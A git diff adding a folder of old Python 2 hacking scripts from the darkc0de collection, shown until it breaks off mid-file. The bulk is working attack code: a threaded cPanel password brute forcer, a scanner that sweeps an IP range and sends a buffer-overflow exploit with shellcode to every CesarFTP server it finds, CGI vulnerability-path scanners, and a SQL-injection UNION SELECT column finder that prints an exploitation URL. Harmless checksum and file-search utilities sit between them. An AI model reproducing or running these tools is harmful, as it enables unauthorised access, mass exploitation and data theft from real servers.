diff --git a/3rdparty/cPanelbrute.py b/3rdparty/cPanelbrute.py
new file mode 100644
index 0000000..cf37178
--- /dev/null
+++ b/3rdparty/cPanelbrute.py
@@ -0,0 +1,125 @@
+#!usr/bin/python
+#cPanel BruteForcer
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import threading, time, random, sys, urllib2, httplib, base64
+from copy import copy
+
+def title():
+	print "\n\t   d3hydr8[at]gmail[dot]com cPanel BruteForcer v1.0"
+	print "\t-----------------------------------------------------\n"
+	
+def timer():
+	now = time.localtime(time.time())
+	return time.asctime(now)
+	
+if len(sys.argv) !=5:
+	title()
+	print "\nUsage: ./cPanelbrute.py <server> <port> <userlist> <wordlist>\n"
+	print "ex: python cPanelbrute.py example.com 2082 users.txt wordlist.txt\n"
+	sys.exit(1)
+
+try:
+  	users = open(sys.argv[3], "r").readlines()
+except(IOError): 
+  	print "Error: Check your userlist path\n"
+  	sys.exit(1)
+  
+try:
+  	words = open(sys.argv[4], "r").readlines()
+except(IOError): 
+  	print "Error: Check your wordlist path\n"
+  	sys.exit(1)
+
+wordlist = copy(words)
+
+def reloader():
+	for word in wordlist:
+		words.append(word)
+
+def getword():
+	lock = threading.Lock()
+	lock.acquire()
+	if len(words) != 0:
+		value = random.sample(words,  1)
+		words.remove(value[0])		
+	else:
+		print "\nReloading Wordlist - Changing User\n"
+		reloader()
+		value = random.sample(words,  1)
+		users.remove(users[0])
+		
+	lock.release()
+	if len(users) ==1:
+		return users[0], value[0][:-1]
+	else:
+		return users[0][:-1], value[0][:-1] 
+
+def getauth(url):
+	
+	req = urllib2.Request(url)
+	try:
+    		handle = urllib2.urlopen(req)
+	except IOError, e:               
+    		pass
+	else:                               
+    		print "This page isn't protected by basic authentication.\n"
+    		sys.exit(1)
+   
+	if not hasattr(e, 'code') or e.code != 401:                 
+    		print "\nThis page isn't protected by basic authentication."
+    		print 'But we failed for another reason.\n'
+    		sys.exit(1)
+
+	authline = e.headers.get('www-authenticate', '')    
+          
+	if not authline:
+    		print '\nA 401 error without a basic authentication response header - very weird.\n'
+    		sys.exit(1)
+	else:
+		return authline
+			
+class Worker(threading.Thread):
+	
+	def run(self):
+		username, password = getword()
+		try:
+			print "-"*12
+			print "User:",username,"Password:",password
+			auth_handler = urllib2.HTTPBasicAuthHandler()
+			auth_handler.add_password("cPanel", server, base64encodestring(username)[:-1], base64encodestring(password)[:-1])
+			opener = urllib2.build_opener(auth_handler)
+			urllib2.install_opener(opener)
+			urllib2.urlopen(server)
+			print "\t\n\nUsername:",username,"Password:",password,"----- Login successful!!!\n\n"			
+		except (urllib2.HTTPError, httplib.BadStatusLine), msg: 
+			#print "An error occurred:", msg
+			pass
+		
+title()
+if sys.argv[1][-1] == "/":
+	sys.argv[1] = sys.argv[1][:-1] 
+server = sys.argv[1]+":2082"
+if sys.argv[2].isdigit() == False:
+	print "[-] Port must be a number\n"
+	sys.exit(1)
+else:
+	port = sys.argv[2] 
+if sys.argv[1][-1] == "/":
+	sys.argv[1] = sys.argv[1][:-1] 
+server = sys.argv[1]+":"+port
+
+print "[+] Server:",server
+print "[+] Port:",port 
+print "[+] Users Loaded:",len(users)
+print "[+] Words Loaded:",len(words)
+print "[+]",getauth(server)
+print "[+] Started",timer(),"\n"
+
+for i in range(len(words)*len(users)):
+	work = Worker()
+	work.setDaemon(1)
+	work.start()
+	time.sleep(1)
+print "\n[-] Done -",timer(),"\n"
diff --git a/3rdparty/cesarscan.py b/3rdparty/cesarscan.py
new file mode 100644
index 0000000..138a6e9
--- /dev/null
+++ b/3rdparty/cesarscan.py
@@ -0,0 +1,115 @@
+#!/usr/bin/python
+#Uses nmap to scan ip range for open ftp ports,
+#if open checks banner to see if cesarFTP is running.
+#if so exploits using h07 sploit.
+#d3hydr8[at]gmail[dot]com
+
+import commands, sys, getopt, StringIO, re
+from socket import *
+
+tmp, args = getopt.getopt(sys.argv[1:],"")
+	
+def scan():
+
+	iprange = args[0]
+	ip_list = []
+	
+	nmap = StringIO.StringIO(commands.getstatusoutput('nmap -P0 '+iprange+' -p 21 | grep open -B 3')[1]).readlines()
+	
+	for tmp in nmap:
+		ipaddr = re.findall("\d*\.\d*\.\d*\.\d*", tmp)
+		if ipaddr:
+	    		ip_list.append(ipaddr[0])
+	print len(ip_list), "hosts found w/ port 21 open...\n"	
+	return ip_list
+		
+def banscan(iplist):
+	
+	finlist = []
+	import socket, time
+	for ip in iplist:
+		try:
+			s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+			s.settimeout(15)
+			s.connect((ip, 21))
+			time.sleep(4)
+			s.send("\r\n")
+			response = s.recvfrom(1024)[0]
+			s.close()
+			if re.search("cesar", response.lower()) or re.search("cesarftp", response.lower()):
+				finlist.append(ip)	
+		except socket.error, msg:
+			s.close()
+   			print "An error occurred:", msg
+			
+	if len(finlist) == 0: 
+		print "\nCouldn't find any servers running CesarFTP\n"
+		sys.exit(1)
+	return finlist
+
+def intel_order(i):
+    	a = chr(i % 256)
+    	i = i >> 8
+    	b = chr(i % 256)
+    	i = i >> 8
+    	c = chr(i % 256)
+    	i = i >> 8
+    	d = chr(i % 256)
+    	str = "%c%c%c%c" % (a, b, c, d)
+    	return str
+	
+def exploit(ipaddr):
+	
+	shellcode = ( #execute calc.exe <metasploit.com>
+	"\x31\xc9\x83\xe9\xdb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd8"
+	"\x22\x72\xe4\x83\xeb\xfc\xe2\xf4\x24\xca\x34\xe4\xd8\x22\xf9\xa1"
+	"\xe4\xa9\x0e\xe1\xa0\x23\x9d\x6f\x97\x3a\xf9\xbb\xf8\x23\x99\x07"
+	"\xf6\x6b\xf9\xd0\x53\x23\x9c\xd5\x18\xbb\xde\x60\x18\x56\x75\x25"
+	"\x12\x2f\x73\x26\x33\xd6\x49\xb0\xfc\x26\x07\x07\x53\x7d\x56\xe5"
+	"\x33\x44\xf9\xe8\x93\xa9\x2d\xf8\xd9\xc9\xf9\xf8\x53\x23\x99\x6d"
+	"\x84\x06\x76\x27\xe9\xe2\x16\x6f\x98\x12\xf7\x24\xa0\x2d\xf9\xa4"
+	"\xd4\xa9\x02\xf8\x75\xa9\x1a\xec\x31\x29\x72\xe4\xd8\xa9\x32\xd0"
+	"\xdd\x5e\x72\xe4\xd8\xa9\x1a\xd8\x87\x13\x84\x84\x8e\xc9\x7f\x8c"
+	"\x28\xa8\x76\xbb\xb0\xba\x8c\x6e\xd6\x75\x8d\x03\x30\xcc\x8d\x1b"
+	"\x27\x41\x13\x88\xbb\x0c\x17\x9c\xbd\x22\x72\xe4")
+
+	user = "h07"
+	password = "open"
+	EIP = 0x7CA58265 #jmp esp <shell32.dll XP sp2 polish>
+
+	s = socket(AF_INET, SOCK_STREAM)
+	s.connect((ip, 21))
+	print s.recv(1024)
+
+	s.send("user %s\r\n" % (user))
+	print s.recv(1024)
+
+	s.send("pass %s\r\n" % (password))
+	print s.recv(1024)
+
+	buffer = "MKD "
+	buffer += "\n" * 671
+	buffer += "A" * 3 + intel_order(EIP)
+	buffer += "\x90" * 40 + shellcode
+	buffer += "\r\n"
+
+	print "len: %d" % (len(buffer))
+
+	s.send(buffer)
+	print s.recv(1024)
+
+	s.close()
+	
+#................................................
+	
+if args == []:
+	print "\nUsage: ./cesarscan.py <ip range>\n"
+else:
+	print "\n.:[ Scanning",args[0],"]:.\n"
+	finlist = banscan(scan())
+	print "Attempting to exploit",len(finlist),"hosts running cesarFTP server...\n"
+	for ip in finlist:
+		exploit(ip)
+	
+	
+	
diff --git a/3rdparty/cgiscan.py b/3rdparty/cgiscan.py
new file mode 100644
index 0000000..b3c33c9
--- /dev/null
+++ b/3rdparty/cgiscan.py
@@ -0,0 +1,89 @@
+#!/usr/bin/python
+#This is a CGI scanner, searches for common vulnerable 
+#dirs and files.
+#Save the bins.txt file to the dir your 
+#running this. http://darkcode.ath.cx/scanners/bins.txt
+#If you want verbose output , un-comment lines 78,79
+
+#http://www.darkc0de.com
+##d3hydr8[at]gmail[dot]com
+
+import sys, httplib, time
+
+def main(path):
+	try:# make a http HEAD request
+		h = httplib.HTTP(host+":"+port)
+		h.putrequest("HEAD", path)
+		h.putheader("Host", host)
+		h.endheaders()
+		status, reason, headers = h.getreply()
+	except: 
+		print "Error: Name or service not known. Check your host."
+		sys.exit(1)
+	return status, reason, headers.get("Server")
+		
+def timer():
+	now = time.localtime(time.time())
+	return time.asctime(now)
+	
+
+if len(sys.argv) != 3:
+	print "\n\t   d3hydr8[at]gmail[dot]com CGIscanner v1.0"
+	print "\t--------------------------------------------------"
+	print "\n\tUsage: ./cgiscan.py <host> <port>\n"
+	print "\tEx. ./cgiscan.py google.com 80\n"
+	sys.exit(1)
+	
+host = sys.argv[1]
+port = sys.argv[2]
+
+if host[:7] == "http://":
+	host = host.replace("http://","")
+
+okresp = main("/")[:1]
+badresp,reason,server = main("/d3hydr8.html")
+
+if okresp[0] == badresp:
+	print "\nResponses matched, try another host.\n"
+	sys.exit(1)
+else:
+	print "\n   d3hydr8[at]gmail[dot]com CGIscanner v1.0"
+	print "--------------------------------------------------"
+	print "+ Target host:",host
+	print "+ Target port:",port
+	print "+ Target server:",server
+	print "+ Target OK response:",okresp[0]
+	print "+ Target BAD response:",badresp, reason
+	print "+ Scan Started at",timer()
+
+
+try:
+	text = open("bins.txt", "r") #vulerable list, change path/name if necessary
+	lines = text.readlines()
+	text.close()
+	print "\n[--",len(lines),"paths loaded --]\n"
+except(IOError): 
+ 	print "Error: Check your bins.txt path.\n" 
+	print "(http://www.darkc0de.com/scanners/bins.txt)\n"
+	sys.exit(1)
+
+num = 0
+
+for line in lines:
+	try: status, reason = main(line)[:2]
+	except(AttributeError): pass
+	if status == okresp[0]:
+		num += 1
+		print "\t++",status,reason,":",host+line,"\n"
+	if status == int(401):
+		print "\t--",status,reason,":",host+line,"\tNeeds Authorization\n"
+	#else:								#uncomment for verbose mode
+		#print "\n-",status,reason,":",host+line,"\n"   #uncomment for verbose mode
+print "Scan completed at", timer()
+if num == 0:
+	print "Couldn't find anything.\n"
+else:
+	print "Found",num,"possible vulnerabilities, check manually.\n"
+
+
+	
\ No newline at end of file
diff --git a/3rdparty/cgiscan1.1.py b/3rdparty/cgiscan1.1.py
new file mode 100644
index 0000000..1b5aa37
--- /dev/null
+++ b/3rdparty/cgiscan1.1.py
@@ -0,0 +1,102 @@
+#!/usr/bin/python
+#This is a CGI scanner, searches for common vulnerable 
+#dirs and files. 
+#
+#Update: Faster, 2500 more vuln dir/files,
+#saves found vulns to a list and prints them at the end.
+#Also fixed some error handling so it shouldn't stop at any time and 
+#I had an extra \n newline where it shouldn't be.
+#
+#Save the bins.txt and save it to the dir your 
+#running this.
+#
+##http://www.darkc0de.com
+##d3hydr8[at]gmail[dot]com
+
+import sys, httplib, time, socket
+
+def main(path):
+	try:# make a http HEAD request
+		h = httplib.HTTP(host+":"+port)
+		h.putrequest("HEAD", path)
+		h.putheader("Host", host)
+		h.endheaders()
+		status, reason, headers = h.getreply()
+		return status, reason, headers.get("Server")
+	except: 
+		print "Error Occurred"
+		pass
+	
+		
+def timer():
+	now = time.localtime(time.time())
+	return time.asctime(now)
+	
+
+if len(sys.argv) != 3:
+	print "\n\t   d3hydr8[at]gmail[dot]com CGIscanner v1.1"
+	print "\t--------------------------------------------------"
+	print "\n\tUsage: ./cgiscan.py <host> <port>\n"
+	print "\tEx. ./cgiscan.py google.com 80\n"
+	sys.exit(1)
+	
+host = sys.argv[1]
+port = sys.argv[2]
+socket.setdefaulttimeout(2)
+
+if host[:7] == "http://":
+	host = host.replace("http://","")
+
+okresp = main("/")[:1]
+badresp,reason,server = main("/d3hydr8.html")
+
+if okresp[0] == badresp:
+	print "\nResponses matched, try another host.\n"
+	sys.exit(1)
+else:
+	print "\n   d3hydr8[at]gmail[dot]com CGIscanner v1.1"
+	print "--------------------------------------------------"
+	print "[+] Target host:",host
+	print "[+] Target port:",port
+	print "[+] Target server:",server
+	print "[+] Target OK response:",okresp[0]
+	print "[+] Target BAD response:",badresp, reason
+	print "[+] Scan Started at",timer()
+	time.sleep(3)
+
+try:
+	text = open("bins.txt", "r") #vulerable list, change path/name if necessary
+	lines = text.readlines()
+	text.close()
+	print "\n[--",len(lines),"paths loaded --]\n"
+except(IOError): 
+ 	print "Error: Check your bins.txt path.\n" 
+	print "(http://www.darkc0de.com/scanners/bins.txt)\n"
+	sys.exit(1)
+
+found_vuln = []
+for line in lines:
+	print "\nLeft:",len(lines)
+	try: 
+		time.sleep(1)
+		response, reason = main(line[:-1])[:2]
+		print "\nTrying:",line,"   Got:",response, reason
+		if response == okresp[0]:
+			found_vuln.append(host+line)
+			print "\n\t[+][+]",response,reason,":",host+line,"\n"
+		if response == int(401):
+			print "\n\t[-][-]",response,reason,":",host+line,"\tNeeds Authorization\n"
+	except(AttributeError, TypeError): 
+		pass
+	lines.remove(line)
+
+if len(found_vuln) == 0:
+	print "\n[-] Couldn't find anything.\n"
+else:
+	print "\n\t[+] Found",len(found_vuln),"possible vulnerabilities, check manually."
+	for x in found_vuln:
+		print "\n[!] ",x
+print "\n[-] Scan completed at", timer()
+
+
+	
\ No newline at end of file
diff --git a/3rdparty/cgiscan1.2.py b/3rdparty/cgiscan1.2.py
new file mode 100644
index 0000000..f9d0883
--- /dev/null
+++ b/3rdparty/cgiscan1.2.py
@@ -0,0 +1,153 @@
+#!/usr/bin/python
+#This is a CGI scanner, searches for common vulnerable 
+#dirs and files. 
+#Save the bins.txt to the dir your 
+#running this. http://www.darkc0de.com/scanners/bins.txt
+#Or use your own list and save it bins.txt.
+#
+#Changelog v1.2: Added proxy support, verbose mode, and fixed 
+# minor syntax problems
+#
+#
+#Changelog v1.1: Update: Faster, 2500 more vuln dir/files,
+# saves found vulns to a list and prints them at the end.
+# Also fixed some error handling so it shouldn't stop at any time and 
+# I had an extra \n newline where it shouldn't be.
+#
+
+#
+##http://www.darkc0de.com
+##d3hydr8[at]gmail[dot]com
+
+import sys, httplib, time, socket
+
+def title():
+	print "\n\t   d3hydr8[at]gmail[dot]com CGIscanner v1.2"
+	print "\t--------------------------------------------------"
+
+def main(path):
+	
+	if path[0] == "/":
+		path = path[1:]
+	if proxy != 0:
+		h = httplib.HTTP(proxy)
+		h.putrequest("GET", "http://"+host+path)
+	else:
+		h = httplib.HTTP(host[:-1])
+		h.putrequest("HEAD", "/"+path)
+	h.putheader("Host", host)
+	h.endheaders()
+	okresp, reason, headers = h.getreply()
+	return okresp, reason, headers.get("Server")
+		
+def timer():
+	now = time.localtime(time.time())
+	return time.asctime(now)
+	
+title()
+socket.setdefaulttimeout(15)
+
+if len(sys.argv) not in [3,4,5,6]:
+	print "\n\tUsage: ./cgiscan.py <host> <port> <options>\n"
+	print "\t[options]"
+	print "\t   -p/-proxy <host:port> : Add proxy support"
+	print "\t   -v/-verbose : Verbose Mode"
+	print "\nEx. ./cgiscan.py google.com 80 -proxy 120.71.68.2:8888 -v\n"
+	sys.exit(1)
+	
+host = sys.argv[1]
+port = sys.argv[2]
+
+for arg in sys.argv[1:]:
+	if arg.lower() == "-p" or arg.lower() == "-proxy":
+		proxy = sys.argv[int(sys.argv[1:].index(arg))+2]
+	if arg.lower() == "-v" or arg.lower() == "-verbose":
+		verbose = 1
+
+try:
+	if proxy:
+		print "\n[+] Testing Proxy..."
+		h2 = httplib.HTTPConnection(proxy)
+		h2.connect()
+		print "[+] Proxy:",proxy
+except(socket.timeout):
+	print "\n[-] Proxy Timed Out"
+	proxy = 0
+	pass
+except(NameError):
+	print "\n[-] Proxy Not Given"
+	proxy = 0
+	pass
+except:
+	print "\n[-] Proxy Failed"
+	proxy = 0
+	pass
+
+try:
+	if verbose == 1:
+		print "[+] Verbose Mode On\n"
+except(NameError):
+	print "[-] Verbose Mode Off\n"
+	verbose = 0
+	pass
+	
+host = host.replace("http://","")
+if host.count("/") >= 1:
+	host = host.rsplit("/",1)[0]
+if host[-1:] != "/":
+	host =  host+"/"
+
+okresp = main(" ")[:1]
+
+badresp,reason,server = main("/d3hydr8.html")
+
+if okresp[0] == badresp:
+	print "\nResponses matched, try another host.\n"
+	sys.exit(1)
+else:
+	print "\n[+] Target host:",host
+	print "[+] Target port:",port
+	print "[+] Target server:",server
+	print "[+] Target OK response:",okresp[0]
+	print "[+] Target BAD response:",badresp, reason
+	print "[+] Scan Started at",timer()
+	time.sleep(3)
+
+try:
+	text = open("bins.txt", "r") #vulerable list, change path/name if necessary
+	lines = text.readlines()
+	text.close()
+	print "\n[--",len(lines),"paths loaded --]\n"
+except(IOError): 
+ 	print "[-] Error: Check your bins.txt path.\n" 
+	print "[-] (http://www.darkc0de.com/scanners/bins.txt)\n"
+	sys.exit(1)
+
+found_vuln = []
+for line in lines:
+	if verbose == 1:
+		print "\n[-] Left:",len(lines)
+	try: 
+		time.sleep(1)
+		response, reason = main(line.strip("\n"))[:2]
+		if verbose == 1:
+			print "\n[+] Trying:",line,"   Got:",response, reason
+		if response == okresp[0]:
+			found_vuln.append(host+line)
+			print "\n\t[+]",response,reason,":",host+line
+		if response == int(401):
+			print "\n\t[-]",response,reason,":",host+line,"\tNeeds Authorization"
+	except(AttributeError, TypeError): 
+		pass
+	lines.remove(line)
+
+if len(found_vuln) == 0:
+	print "\n[-] Couldn't find anything.\n"
+else:
+	print "\n\t[+] Found",len(found_vuln),"possible vulnerabilities, check manually."
+	for x in found_vuln:
+		print "\n[!] ",x
+print "\n[-] Scan completed at", timer()
+
+
+	
\ No newline at end of file
diff --git a/3rdparty/cgiscan1.3.py b/3rdparty/cgiscan1.3.py
new file mode 100644
index 0000000..f9e18ed
--- /dev/null
+++ b/3rdparty/cgiscan1.3.py
@@ -0,0 +1,180 @@
+#!/usr/bin/python
+#This is a CGI scanner, searches for common vulnerable 
+#dirs and files. 
+#Save the bins.txt to the dir your 
+#running this. http://www.darkc0de.com/scanners/bins.txt
+#Or use your own list and save it bins.txt.
+#
+#Changelog v1.3: Lets you declare your own vuln path list and lets you save
+#successful requests to a file, added exceptions to catch errors
+#
+#Changelog v1.2: Added proxy support, verbose mode, and fixed 
+# minor syntax problems
+#
+#
+#Changelog v1.1: Update: Faster, 2500 more vuln dir/files,
+# saves found vulns to a list and prints them at the end.
+# Also fixed some error handling so it shouldn't stop at any time and 
+# I had an extra \n newline where it shouldn't be.
+#
+
+#
+##http://www.darkc0de.com
+##d3hydr8[at]gmail[dot]com
+
+import sys, httplib, time, socket
+
+def title():
+	print "\n\t   d3hydr8[at]gmail[dot]com CGIscanner v1.3"
+	print "\t----------------------------------------------"
+
+def main(path):
+	
+	if path[0] == "/":
+		path = path[1:]
+		
+	if proxy != 0:
+		h = httplib.HTTP(proxy)
+		h.putrequest("GET", "http://"+host+path)
+	else:
+		h = httplib.HTTP(host[:-1])
+		h.putrequest("HEAD", "/"+path)
+	h.putheader("Host", host)
+	h.endheaders()
+	okresp, reason, headers = h.getreply()
+	return okresp, reason, headers.get("Server")
+		
+def timer():
+	now = time.localtime(time.time())
+	return time.asctime(now)
+	
+title()
+socket.setdefaulttimeout(15)
+
+if len(sys.argv) not in [4,5,6,7,8,9]:
+	print "\n\tUsage: ./cgiscan.py <host> <port> <path_file> <options>\n"
+	print "\t[options]"
+	print "\t   -s/-save <file to save> : Save successful requests to a file."
+	print "\t   -p/-proxy <host:port> : Add proxy support"
+	print "\t   -v/-verbose : Verbose Mode"
+	print "\nEx. ./cgiscan.py google.com 80 paths.txt -proxy 120.71.68.2:8888 -v -save scanned.txt\n"
+	sys.exit(1)
+	
+host = sys.argv[1]
+port = sys.argv[2]
+
+try:
+	lines = open(sys.argv[3], "r").readlines() #vulerable list, change path/name if necessary
+except(IOError): 
+ 	print "[-] Error: Check your paths_file location.\n" 
+	print "[-] (http://www.darkc0de.com/scanners/bins.txt)\n"
+	sys.exit(1)
+
+for arg in sys.argv[1:]:
+	if arg.lower() == "-s" or arg.lower() == "-save":
+		file = sys.argv[int(sys.argv[1:].index(arg))+2]
+	if arg.lower() == "-p" or arg.lower() == "-proxy":
+		proxy = sys.argv[int(sys.argv[1:].index(arg))+2]
+	if arg.lower() == "-v" or arg.lower() == "-verbose":
+		verbose = 1
+
+try:
+	if proxy:
+		print "\n[+] Testing Proxy..."
+		h2 = httplib.HTTPConnection(proxy)
+		h2.connect()
+		print "[+] Proxy:",proxy
+except(socket.timeout):
+	print "\n[-] Proxy Timed Out"
+	proxy = 0
+	pass
+except(NameError):
+	print "\n[-] Proxy Not Given"
+	proxy = 0
+	pass
+except:
+	print "\n[-] Proxy Failed"
+	proxy = 0
+	pass
+
+try:
+	if verbose == 1:
+		print "[+] Verbose Mode On\n"
+except(NameError):
+	print "[-] Verbose Mode Off\n"
+	verbose = 0
+	pass
+	
+host = host.replace("http://","")
+if host.count("/") >= 1:
+	host = host.rsplit("/",1)[0]
+if host[-1:] != "/":
+	host =  host+"/"
+
+try:
+	okresp = main(" ")[:1]
+except(socket.timeout):
+	print "\n[-] Timed Out"
+	print "[-] Try new proxy or different host\n"
+	sys.exit(1)
+except(socket.gaierror), error:
+	print "\nError:",error
+	print "\n[-] Check your host\n"
+	sys.exit(1)
+
+badresp,reason,server = main("/d3hydr8.html")
+
+if okresp[0] == badresp:
+	print "\n[-] Responses matched, try another host."
+	print "[-] Responses:",okresp[0], badresp,"\n"
+	sys.exit(1)
+else:
+	print "\n[+] Target host:",host
+	print "[+] Target port:",port
+	print "[+] Target server:",server
+	print "[+] Paths Loaded:",len(lines)
+	try:
+		if file:
+			output_file = open(file, "a")
+			print "[+] Output File:",file
+	except(NameError):
+		output_file = None
+		pass
+	pass
+	print "[+] Target OK response:",okresp[0]
+	print "[+] Target BAD response:",badresp, reason
+	print "[+] Scan Started at",timer()
+	print "-"*55
+	time.sleep(3)
+
+found_vuln = []
+for line in lines:
+	if verbose == 1:
+		print "\n[-] Left:",len(lines)
+	try: 
+		time.sleep(1)
+		response, reason = main(line.strip("\n"))[:2]
+		if verbose == 1:
+			print "\n[+] Trying:",line,"   Got:",response, reason
+		if response == okresp[0]:
+			found_vuln.append(host+line)
+			print "\n\t[+]",response,reason,":",host+line
+		if response == int(401):
+			print "\n\t[-]",response,reason,":",host+line,"\tNeeds Authorization"
+	except(AttributeError, TypeError): 
+		pass
+	lines.remove(line)
+
+if len(found_vuln) == 0:
+	print "\n[-] Couldn't find anything.\n"
+else:
+	print "-"*55
+	print "\n[+] Found",len(found_vuln),"possible vulnerabilities, check manually."
+	for x in found_vuln:
+		if output_file != None:
+			output_file.writelines("[+]"+x+"\n")
+		print "\n[!] ",x
+print "\n[-] Scan completed at",timer(),"\n"
+
+
+	
\ No newline at end of file
diff --git a/3rdparty/checkersum.py b/3rdparty/checkersum.py
new file mode 100644
index 0000000..ed85630
--- /dev/null
+++ b/3rdparty/checkersum.py
@@ -0,0 +1,48 @@
+#!/usr/bin/python
+#Prints checksum of all files in directory.
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import os, sys, md5
+
+def sumfile(fobj):
+	m= md5.new()
+	while True:
+		d= fobj.read(8096)
+		if not d:
+			break
+		m.update(d)
+	return m.hexdigest()
+
+def md5sum(fname):
+	if fname == '-':
+		ret = sumfile(sys.stdin)
+	else:
+		try:
+			f = open(fname, 'rb')
+		except:
+			return 'Failed to open file'
+		ret = sumfile(f)
+		f.close()
+	return ret
+	
+def title():
+	print "\n   d3hydr8[at]gmail[dot]com CheckSummer v1.0"
+	print "----------------------------------------------\n"
+
+if len(sys.argv) != 2:
+	title()
+	print "\n[-] Need a directory\n"
+	sys.exit(1) 
+	
+files = os.listdir(sys.argv[1])
+title()
+
+for fname in files:
+	checks =  md5sum(os.path.join(sys.argv[1],fname))
+	if checks != "Failed to open file":
+		print fname,"\t\t",checks
+
+
+
+
diff --git a/3rdparty/checksummer.py b/3rdparty/checksummer.py
new file mode 100644
index 0000000..0b90535
--- /dev/null
+++ b/3rdparty/checksummer.py
@@ -0,0 +1,66 @@
+#!/usr/bin/python
+#This utility will check multiple files 
+#checksums for changes and log the 
+#changes to a log file. Just fill in the
+#3 arguments below.
+
+#http://www.darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import sys, md5, time
+
+#The list of files to monitor
+FILES = ["/home/d3hydr8/test.txt","/home/d3hydr8/test1.txt"]
+#Time in seconds to check for change
+TIME = "300"
+#Logfile to write changes
+LOGFILE = "/home/d3hydr8/messages"
+
+def sumfile(fobj):
+	m= md5.new()
+	while True:
+		d= fobj.read(8096)
+		if not d:
+			break
+		m.update(d)
+	return m.hexdigest()
+
+def md5sum(fname):
+	if fname == '-':
+		ret = sumfile(sys.stdin)
+	else:
+		try:
+			f = open(fname, 'rb')
+		except:
+			return 'Failed to open file'
+		ret = sumfile(f)
+		f.close()
+	return ret
+
+def timer():
+	now = time.localtime(time.time())
+	return time.asctime(now)
+
+filedic = {}
+#print "\n[+] Files Loaded:",len(FILES)
+for fname in FILES:
+	hash =  md5sum(fname)
+	filedic[fname] = hash
+
+while 1:
+	time.sleep(int(TIME))
+	log = open(LOGFILE, "a")
+	for k,v in filedic.items():
+		hash =  md5sum(k)
+		if hash != v:
+			#print "\n[-] Found Change:",k
+			#print "[-] Time:",timer()
+			log.writelines("\n[-] Found a change: "+k+"\n")
+			log.writelines("[-] From: "+v+"\n")
+			log.writelines("[-] To: "+hash+"\n")
+			log.writelines("[-] Time: "+timer()+"\n")
+			log.close()
+			filedic[k] = hash
+
+
+
diff --git a/3rdparty/codefinder.py b/3rdparty/codefinder.py
new file mode 100644
index 0000000..4ce0459
--- /dev/null
+++ b/3rdparty/codefinder.py
@@ -0,0 +1,70 @@
+#!/usr/bin/python
+#Searches files for string match. You can also 
+#choose to only search a certain extension (php, html, py)
+
+#http://darkc0de.com
+#d3hydr8[at]gmail[dot]com
+
+import sys, re
+
+def Walk( root, recurse=0, pattern='*', return_folders=0 ):
+	import fnmatch, os, string
+
+	result = []
+
+	try:
+		names = os.listdir(root)
+	except os.error:
+		return result
+
+	pattern = pattern or '*'
+	pat_list = string.splitfields( pattern , ';' )
+
+	for name in names:
+		fullname = os.path.normpath(os.path.join(root, name))
+
+		for pat in pat_list:
+			if fnmatch.fnmatch(name, pat):
+				if os.path.isfile(fullname) or (return_folders and os.path.isdir(fullname)):
+					result.append(fullname)
+				continue
+		if recurse:
+			if os.path.isdir(fullname) and not os.path.islink(fullname):
+				result = result + Walk( fullname, recurse, pattern, return_folders )
+			
+	return result
+			
+def search(files):
+	print "\n[+] Searching:",len(files),"files"
+	for file in files:
+		num = 0
+		try:
+			text = open(file, "r").readlines()
+			for line in text:
+				num +=1
+				if re.search(sys.argv[2].lower(), line.lower()):
+					print "\n[!] File:",file,"\tLine:",num
+					print "[!]",line
+		except(IOError):
+ 			pass
+	print "\n[-] Done\n"
+				
+print "\n d3hydr8[at]gmail[dot]com CodeFinder v1.1"
+print "--------------------------------------------"
+
+if len(sys.argv) not in [3,5]:
+	print "\nUsage: ./codefinder.py <dir> <code> <option>"
+	print "\nExample: ./codefinder.py /home/d3hydr8 \"$root_path\" -ext php"
+	print "\t\n[options]"
+	print "\t   -e/-ext <extension> : Will only search files with this extension.\n"
+	sys.exit(1)
+	
+print "\n[+] Scanning:",sys.argv[1]
+print "[+] Code:",sys.argv[2]
+
+if len(sys.argv) == 3:
+	files = Walk(sys.argv[1], 1, '*', 1)
+	search(files)
+else:
+	files = Walk(sys.argv[1], 1, '*.'+sys.argv[4]+';')
+	search(files)
\ No newline at end of file
diff --git a/3rdparty/column_finder.py b/3rdparty/column_finder.py
new file mode 100644
index 0000000..52782c0
--- /dev/null
+++ b/3rdparty/column_finder.py
@@ -0,0 +1,119 @@
+#!/usr/bin/python
+
+
+
+import sys,  re,  urllib,  urllib2,  string
+from urllib2 import Request, urlopen, URLError, HTTPError
+
+# Define the max. amounts for trying
+
+
+
+# Testing if URL is reachable, with error handling
+def test_url():
+    print ">> Checking if connection can be established..."
+    try:
+        response = urllib2.urlopen(provided_url)
+    except HTTPError,  e:
+        print ">> The connection could not be established."
+        print ">> Error code: ",  e.code
+        print ">> Exiting now!"
+        print ""
+        sys.exit(1)
+    except URLError,  e:
+        print ">> The connection could not be established."
+        print ">> Reason: ",  e.reason
+        print ">> Exiting now!"
+        print ""
+        sys.exit(1)
+    else:
+        valid_target = 1
+        print ">> Connected to target! URL seems to be valid."
+        print ""
+    return
+
+# Find correct amount of columns for the SQL Injection
+def find_columns():
+    # Define some important variables and make the script a little bit dynamic
+    number_of_columns = 1
+    column_finder_url_string = "+AND+1=2+UNION+SELECT+"
+    column_finder_url_message = "0x503077337220743020743368206330777321"
+    column_finder_url_message_plain = "P0w3r t0 t3h c0ws!"
+    column_finder_url_terminator = "--"
+    next_column = ","
+    column_finder_url_sample = "concat(user(),database(),version())"
+    
+    print ">> Trying to find the correct number of columns..."
+    
+    # Craft the final URL to check
+    final_check_url = provided_url+column_finder_url_string+column_finder_url_message 
+    
+    for x in xrange(1, max_columns):
+        # Visit website and store response source code of site
+        final_check_url2 = final_check_url+column_finder_url_terminator 
+        response = urllib2.urlopen(final_check_url2)
+        html = response.read()
+        find_our_injected_string = re.findall(column_finder_url_message_plain, html)
+        
+        # When the correct amount was found we display the information and exit
+        if len(find_our_injected_string) != 0:
+            print ">> Correct number of columns found!"
+            print ">> Amount: ",  number_of_columns
+            
+            # Ask if a sample URL should be provided
+            user_reply = str(raw_input(">> Do you want to have a sample URL for exploiting? (Yes/No) "))
+            if user_reply == "Y" or user_reply == "y" or user_reply == "Yes" or user_reply == "yes":
+                print ""
+                
+                # Print a sample URL for exploiting and replace test string with some useful stuff
+                print string.replace(final_check_url2, column_finder_url_message, column_finder_url_sample)
+                print ""
